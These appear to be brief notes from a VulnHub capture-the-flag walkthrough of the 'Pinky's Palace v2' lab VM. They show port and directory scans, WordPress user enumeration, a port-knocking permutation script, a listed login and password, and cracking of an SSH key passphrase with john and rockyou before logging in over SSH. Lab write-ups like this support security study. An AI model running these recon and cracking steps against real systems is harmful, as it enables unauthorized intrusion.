WFUZZ DIRECTORY SCAN

PORT KNOCK

SSH2JOHN

```
PORT     STATE   SERVICE VERSION

80/tcp   open    http    Apache httpd 2.4.25 ((Debian))

|_http-generator: WordPress 4.9.4

|_http-server-header: Apache/2.4.25 (Debian)

|_http-title: Pinky&#039;s Blog &#8211; Just another WordPress site

31337/tcp filtered Elite

MAC Address: 00:0C:29:8D:B4:8D (VMware)

Device type: general purpose

Running: Linux 3.X|4.X

OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4

OS details: Linux 3.2 - 4.9

Network Distance: 1 hop
```

```
root@akg:/home/akg/Desktop/vulnhub/pinky# wfuzz -w /usr/share/seclists/Discovery/Web-Content/big.txt --hc 404 http://10.10.10.19/FUZZ

ID         Response   Lines    Word     Chars       Payload

==================================================================


000000016:   403        11 L     32 W     295 Ch      ".htpasswd"

000000015:   403        11 L     32 W     295 Ch      ".htaccess"

000016080:   301        9 L      28 W     311 Ch      "secret"

000016218:   403        11 L     32 W     299 Ch      "server-status"

000019912:   301        9 L      28 W     314 Ch      "wordpress"

000019952:   301        9 L      28 W     313 Ch      "wp-admin"

000019956:   301        9 L      28 W     315 Ch      "wp-content"

000019968:   301        9 L      28 W     316 Ch      "wp-includes"
```

/secret

8890

7000

666

pinkydb

```
wpscan --url http://10.10.10.19/ --enumerate u
```

```
[i] User(s) Identified:


[+] pinky1337
```

```
python -c 'import itertools; print list(itertools.permutations([8890,7000,666]))' | sed 's/), /\n/g' | tr -cd '0-9,\n' | sort | uniq > permutation.txt
```

```
./knock.sh 10.10.10.19
```

```
4655/tcp  open  ssh     syn-ack ttl 64 OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0)

7654/tcp  open  http    syn-ack ttl 64 nginx 1.10.3

| http-methods:

|_  Supported Methods: GET HEAD POST

|_http-server-header: nginx/1.10.3
```

Pinkydb:7654 pinky Passione

```
python /usr/share/john/ssh2john.py id_rsa > crack.txt
```

```
john crack.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

```
secretz101       (id_rsa)
```

```
ssh -i id_rsa stefano@10.10.10.19 -p 4655
```

https://blog.barradell-johns.com/index.php/2018/08/08/pinkys-palace-v2-writeup/